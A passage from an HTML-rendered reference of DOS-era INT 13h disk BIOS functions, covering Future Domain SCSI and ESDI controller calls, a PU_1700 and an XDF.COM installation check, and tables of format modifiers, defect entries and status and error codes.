returned&lt;BR&gt;&amp;nbsp;&amp;nbsp; parameter table; it is the caller's responsibility to do so&lt;BR&gt;SeeAlso: AH=05h,AH=07h,AH=17h,INT 1E&lt;BR&gt;--------d-1318-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI BIOS - GET SCSI CONTROLLER INFORMATION&lt;BR&gt;&amp;nbsp;AH = 18h&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AX = 4321h (magic number)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX = controller family code (see #00249)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---if family code=0200h&lt;BR&gt;&amp;nbsp;&amp;nbsp;DH = number of exclusively ROM-controlled SCSI devices&lt;BR&gt;&amp;nbsp;&amp;nbsp;DL = canonical SCSI device number for specified drive&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---if family code &amp;lt;&amp;gt; 0200h&lt;BR&gt;&amp;nbsp;&amp;nbsp;BH = number of exclusively ROM-controlled SCSI devices&lt;BR&gt;&amp;nbsp;&amp;nbsp;BL = canonical SCSI device number for specified drive&lt;BR&gt;Notes: also sets an internal flag (non-resettable) which prevents some&lt;BR&gt;&amp;nbsp;&amp;nbsp; controller messages from being displayed, allows writes to&lt;BR&gt;&amp;nbsp;&amp;nbsp; removable devices (use caution!), and enables the INT 13 interface&lt;BR&gt;&amp;nbsp;&amp;nbsp; for more than one drive (i.e. DL &amp;gt;= 81h) in at least some ROM&lt;BR&gt;&amp;nbsp;&amp;nbsp; versions&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=05h"SCSI",AX=1700h"SCSI",AH=1Bh"SCSI",INT 4F/AX=8100h&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00249)&lt;BR&gt;Values for Future Domain SCSI controller family code:&lt;BR&gt; 0200h TMC-1680/? (ROM 3.0)&lt;BR&gt; 0203h TMC-1650/1660/1670/1680 (ROM 2.0)&lt;BR&gt; 040Ah TMC-820/830/840/850/860/870/875/880/885 (ROM &amp;lt;= 6.0A)&lt;BR&gt; 050Dh TMC-840/841/880/881 (ROM 5.2D)&lt;BR&gt; 0700h TMC-830/850/860/875/885 (ROM 7.0)&lt;BR&gt;--------d-1318--CX5055-----------------------&lt;BR&gt;INT 13 - PU_1700.COM - INSTALLATION CHECK&lt;BR&gt;&amp;nbsp;AH = 18h&lt;BR&gt;&amp;nbsp;CX = 5055h ('PU')&lt;BR&gt;&amp;nbsp;DL = 00h&lt;BR&gt;Return: AX = 7570h ('up') if PU_1700 is installed&lt;BR&gt;Program: PU_1700 is a BIOS enhancer from PU Service Systems which permits&lt;BR&gt;&amp;nbsp;&amp;nbsp; formatting diskettes at higher capacity (1.78M instead of 1.44M)&lt;BR&gt;SeeAlso: AX=057Fh/SI=324Dh"2M"&lt;BR&gt;--------d-1318--CXD2C9-----------------------&lt;BR&gt;INT 13 - XDF.COM - API&lt;BR&gt;&amp;nbsp;AH = 18h&lt;BR&gt;&amp;nbsp;CX = D2C9h ("R"+80h, "I"+80h = Roger Ivey)&lt;BR&gt;&amp;nbsp;DX = 0000h&lt;BR&gt;&amp;nbsp;BX = function&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0000h installation check&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Return: AH = 0Ch&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX = 7269h ("ri" = Roger Ivey)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES = segment of driver&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CF set&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2F64h ("/d") disable the driver&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Return: AH = 0Ch&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES:BX = pointer to activation flag (it is set to 0:&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; set it to 1 to enable the driver again)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX = 7269h&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CF set&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2F75h ("/u") unload the driver (restore interrupts &amp;amp; free memory)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Return: AH = 0Ch&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DL = 55h ("U") if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = 00h&amp;nbsp;&amp;nbsp;&amp;nbsp; if fails&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX = 7269h&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES = segment of driver&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CF set&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AL, BX, DH, and DI destroyed&lt;BR&gt;Program: XDF is a TSR provided with PC-DOS 7.0 to support XDF 1.84M disks,&lt;BR&gt;&amp;nbsp;&amp;nbsp; developed by Roger D. Ivey&lt;BR&gt;Note: After disabling or enabling the driver, a disk change must be performed&lt;BR&gt;&amp;nbsp;&amp;nbsp; or simulated to reset the driver.&lt;BR&gt;--------B-1319-------------------------------&lt;BR&gt;INT 13 - FIXED DISK - PARK HEADS ON ESDI DRIVE (XT286,PS)&lt;BR&gt;&amp;nbsp;AH = 19h&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234 at AH=01h)&lt;BR&gt;SeeAlso: AH=11h&lt;BR&gt;--------d-1319-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI CONTROLLER - REINITIALIZE DRIVE&lt;BR&gt;&amp;nbsp;AH = 19h&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = disk type (03h = fixed disk)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX:DX = number of 512-byte sectors&lt;BR&gt;Notes: sends SCSI Read Capacity command to get number of logical blocks and&lt;BR&gt;&amp;nbsp;&amp;nbsp; adjusts the result for 512-byte sectors&lt;BR&gt;&amp;nbsp;displays either "Error in Read Capacity Command" or "nnn Bytes per&lt;BR&gt;&amp;nbsp;&amp;nbsp; sector" (nnn=256 or 512, the only sizes supported in the translation&lt;BR&gt;&amp;nbsp;&amp;nbsp; code)&lt;BR&gt;&amp;nbsp;should probably be called when a removable device has its media changed&lt;BR&gt;&amp;nbsp;returns the same values as AH=15h&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=15h,AH=1Ah,INT 4F/AX=8100h&lt;BR&gt;--------d-131A-------------------------------&lt;BR&gt;INT 13 - ESDI FIXED DISK - FORMAT UNIT (PS)&lt;BR&gt;&amp;nbsp;AH = 1Ah&lt;BR&gt;&amp;nbsp;AL = defect table entry count&lt;BR&gt;&amp;nbsp;CL = format modifiers (see #00250)&lt;BR&gt;&amp;nbsp;DL = drive (80h,81h)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; defect table (see #00251), ignored if AL=00h&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234 at AH=01h)&lt;BR&gt;Note: if periodic interrupt selected, INT 15/AH=0Fh is called after each&lt;BR&gt;&amp;nbsp;&amp;nbsp; cylinder is formatted&lt;BR&gt;SeeAlso: AH=07h,INT 15/AH=0Fh&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Bitfields for ESDI format modifiers:&lt;BR&gt;Bit(s) Description (Table 00250)&lt;BR&gt; 4 generate periodic interrupt&lt;BR&gt; 3 perform surface analysis&lt;BR&gt; 2 update secondary defect map&lt;BR&gt; 1 ignore secondary defect map&lt;BR&gt; 0 ignore primary defect map&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of defect table entry [array]:&lt;BR&gt;Offset Size Description (Table 00251)&lt;BR&gt; 00h  3 BYTEs relative sector address (little-endian)&lt;BR&gt; 03h BYTE flags and defect count&lt;BR&gt;&amp;nbsp;&amp;nbsp;bit 7: last logical sector on track&lt;BR&gt;&amp;nbsp;&amp;nbsp;bit 6: first logical sector on track&lt;BR&gt;&amp;nbsp;&amp;nbsp;bit 5: last logical sector on cylinder&lt;BR&gt;&amp;nbsp;&amp;nbsp;bit 4: logical sectors are pushed onto next track&lt;BR&gt;&amp;nbsp;&amp;nbsp;bits 3-0: number of defects pushed from previous cylinder&lt;BR&gt;--------d-131A-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI CONTROLLER - GET SCSI PARTIAL MEDIUM CAPACITY&lt;BR&gt;&amp;nbsp;AH = 1Ah&lt;BR&gt;&amp;nbsp;CH = track (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = sector (01h to number of sectors/track for drive)&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;CX:DX = logical block number of last quickly-accessible block after&lt;BR&gt;&amp;nbsp;&amp;nbsp;given block&lt;BR&gt;Notes: sends SCSI Read Capacity command with the PMI bit set to obtain the&lt;BR&gt;&amp;nbsp;&amp;nbsp; logical block address of the last block after which a substantial&lt;BR&gt;&amp;nbsp;&amp;nbsp; delay in data transfer will be encountered (usually the last block&lt;BR&gt;&amp;nbsp;&amp;nbsp; on the current cylinder).&amp;nbsp; No translation to 512 byte sectors is&lt;BR&gt;&amp;nbsp;&amp;nbsp; performed on the result if data is stored on the disk in other than&lt;BR&gt;&amp;nbsp;&amp;nbsp; 512 byte sectors.&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=15h,AH=19h"SCSI"&lt;BR&gt;--------d-131B-------------------------------&lt;BR&gt;INT 13 - ESDI FIXED DISK - GET MANUFACTURING HEADER&lt;BR&gt;&amp;nbsp;AH = 1Bh&lt;BR&gt;&amp;nbsp;AL = number of sectors to read&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer for manufacturing header (defect list)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status&lt;BR&gt;Note: manufacturing header format (Defect Map Record format) can be found&lt;BR&gt;&amp;nbsp;&amp;nbsp; in IBM 70MB, 115MB Fixed Disk Drives Technical Reference&lt;BR&gt;&amp;nbsp;the first sector read contains the manufacturing header with the number&lt;BR&gt;&amp;nbsp;&amp;nbsp; of defect entries and the beginning of the defect map; the remaining&lt;BR&gt;&amp;nbsp;&amp;nbsp; sectors contain the remainder of the defect map&lt;BR&gt;--------d-131B-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI CONTROLLER - GET POINTER TO SCSI DISK INFO BLOCK&lt;BR&gt;&amp;nbsp;AH = 1Bh&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES:BX -&amp;gt; SCSI disk information block (see #00252)&lt;BR&gt;Notes: also sets a non-resettable flag which prevents some controller messages&lt;BR&gt;&amp;nbsp;&amp;nbsp; from being displayed&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=18h"SCSI",AH=1Ch"SCSI"&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI disk information block:&lt;BR&gt;Offset Size Description (Table 00252)&lt;BR&gt; 00h BYTE drive physical information (see #00253)&lt;BR&gt; 01h WORD translated number of cylinders&lt;BR&gt; 03h BYTE translated number of heads&lt;BR&gt; 04h BYTE translated number of sectors per track (17, 34, or 63)&lt;BR&gt; 05h BYTE drive address&lt;BR&gt;&amp;nbsp;&amp;nbsp;bits 0-2: logical unit number&lt;BR&gt;&amp;nbsp;&amp;nbsp;bits 3-5: device number&lt;BR&gt; 06h BYTE 01h at initialization&lt;BR&gt; 07h BYTE sense code byte 00h, or extended sense code byte 0Ch&lt;BR&gt; 08h BYTE 00h&lt;BR&gt; 09h BYTE 00h or extended sense code byte 02h (sense key)&lt;BR&gt; 0Ah BYTE 00h&lt;BR&gt; 0Bh 10 BYTEs copy of Command Descriptor Block (CDB) (see #03236,#03237)&lt;BR&gt; 15h DWORD translated number of sectors on device&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Bitfields for Future Domain SCSI device physical information:&lt;BR&gt;Bit(s) Description (Table 00253)&lt;BR&gt; 0 ???&lt;BR&gt; 1 device uses parity&lt;BR&gt; 2 256 bytes per sector instead of 512&lt;BR&gt; 3 don't have capacity yet???&lt;BR&gt; 4 disk is removable&lt;BR&gt; 5 logical unit number is not present&lt;BR&gt;--------d-131C-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI CONTROLLER - GET POINTER TO FREE CONTROLLER RAM&lt;BR&gt;&amp;nbsp;AH = 1Ch&lt;BR&gt;&amp;nbsp;DL = hard drive ID (any valid SCSI hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES:BX -&amp;gt; first byte of free RAM on controller&lt;BR&gt;Notes: the Future Domain TMC-870 contains 1024 bytes of RAM at offsets 1800h&lt;BR&gt;&amp;nbsp;&amp;nbsp; to 1BFFh on-board the controller for storing drive information and&lt;BR&gt;&amp;nbsp;&amp;nbsp; controller status; ES:BX points to the first byte available for other&lt;BR&gt;&amp;nbsp;&amp;nbsp; uses&lt;BR&gt;&amp;nbsp;ES contains the segment at which the controller resides; the&lt;BR&gt;&amp;nbsp;&amp;nbsp; controller's two memory-mapped I/O ports are at offsets 1C00h, 1E00h&lt;BR&gt;SeeAlso: AH=1Bh"SCSI"&lt;BR&gt;--------d-131C-------------------------------&lt;BR&gt;INT 13 U - ESDI FIXED DISK - ???&lt;BR&gt;&amp;nbsp;AH = 1Ch&lt;BR&gt;&amp;nbsp;AL = subfunction (01h-06h)&lt;BR&gt;&amp;nbsp;DL = drive (80h,81h)&lt;BR&gt;&amp;nbsp;???&lt;BR&gt;Return: ???&lt;BR&gt;Note: these functions perform a controller command 0612h without DMA&lt;BR&gt;SeeAlso: AX=1C08h,PORT 3510h"ESDI"&lt;BR&gt;--------d-131C08-----------------------------&lt;BR&gt;INT 13 U - ESDI FIXED DISK - GET COMMAND COMPLETION STATUS&lt;BR&gt;&amp;nbsp;AX = 1C08h&lt;BR&gt;&amp;nbsp;DL = drive (80h,81h)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer for Command Complete Status Block (see #00254)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234 at AH=01h)&lt;BR&gt;SeeAlso: AX=1C09h,AX=1C0Ah,PORT 3510h"ESDI"&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of ESDI Command Complete Status Block:&lt;BR&gt;Offset Size Description (Table 00254)&lt;BR&gt; 00h BYTE 07h&lt;BR&gt; 01h BYTE size of block in words (07h)&lt;BR&gt; 02h BYTE command error code (see #00255)&lt;BR&gt; 03h BYTE command status code (see #00256)&lt;BR&gt; 04h BYTE device error code, group 1 (see #00257)&lt;BR&gt; 05h BYTE device error flags, group 2 (see #00258)&lt;BR&gt; 06h WORD number of unprocessed sectors due to abnormal termination&lt;BR&gt; 08h DWORD last Relative Sector Address processed by command&lt;BR&gt; 0Ch WORD number of sectors corrected by ECC codes&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00255)&lt;BR&gt;Values for ESDI command error code:&lt;BR&gt; 00h successful&lt;BR&gt; 01h parameter invalid&lt;BR&gt; 02h unknown function&lt;BR&gt; 03h unsupported command&lt;BR&gt; 04h command cancelled&lt;BR&gt; 05h unknown function&lt;BR&gt; 06h controller diagnostics failed&lt;BR&gt; 07h formatting failed&lt;BR&gt; 08h format error in primary map&lt;BR&gt; 09h format error in secondary map&lt;BR&gt; 0Ah diagnostic failure during formatting&lt;BR&gt; 0Bh warning: secondary map too large during formatting&lt;BR&gt; 0Ch warning: non-zero defect&lt;BR&gt; 0Dh system checksum error during formatting&lt;BR&gt; 0Eh warning: incompatible device&lt;BR&gt; 0Fh warning: push table overflowed&lt;BR&gt; 10h warning: more than 15 sectors pushed to next cylinder&lt;BR&gt; 11h internal hardware error&lt;BR&gt; 12h warning: errors found while verifying sectors&lt;BR&gt; 13h invalid device&lt;BR&gt; FFh device error&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00256)&lt;BR&gt;Values for ESDI command status code:&lt;BR&gt; 01h successful&lt;BR&gt; 03h successful after ECC&lt;BR&gt; 05h successful after retries&lt;BR&gt; 06h format partially completed&lt;BR&gt; 07h successful after ECC and retries&lt;BR&gt; 08h command completed with warning (see #00255)&lt;BR&gt; 09h abort complete&lt;BR&gt; 0Ah reset complete&lt;BR&gt; 0Bh data transfer ready (no status block)&lt;BR&gt; 0Ch command completed with failure (see #00257,#00258)&lt;BR&gt; 0Dh DMA error&lt;BR&gt; 0Eh command block error (see #00255)&lt;BR&gt; 0Fh bad attention code&lt;BR&gt;SeeAlso: #00257&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00257)&lt;BR&gt;Values for ESDI device error code, group 1:&lt;BR&gt; 00h successful&lt;BR&gt; 01h seek fault detected by device&lt;BR&gt; 02h interface fault&lt;BR&gt; 03h sector ID not found&lt;BR&gt; 04h disk not formatted&lt;BR&gt; 05h unrecoverable ECC error&lt;BR&gt; 06h ECC error in sector ID&lt;BR&gt; 07h invalid relative sector address&lt;BR&gt; 08h timeout&lt;BR&gt; 09h sector defective&lt;BR&gt; 0Ah disk changed (removable media)&lt;BR&gt; 0Bh selection error&lt;BR&gt; 0Ch write protected (removable media)&lt;BR&gt; 0Dh write fault&lt;BR&gt; 0Eh read fault&lt;BR&gt; 0Fh no index or sector pulse&lt;BR&gt; 10h device not ready&lt;BR&gt; 11h seek error detected by adapter&lt;BR&gt; 12h bad format&lt;BR&gt; 13h volume overflow&lt;BR&gt; 14h data address mark not found&lt;BR&gt; 15h sector ID not found&lt;BR&gt; 16h missing device configuration data&lt;BR&gt; 17h first/last relative sector flags missing&lt;BR&gt; 18h track empty&lt;BR&gt; 81h timeout while waiting for stop&lt;BR&gt; 82h timeout while waiting for end of data transfer&lt;BR&gt; 84h stopped awaiting data transfer during formatting&lt;BR&gt; 85h timeout while waiting for head switch&lt;BR&gt; 86h timeout while awaiting DMA completion&lt;BR&gt;S
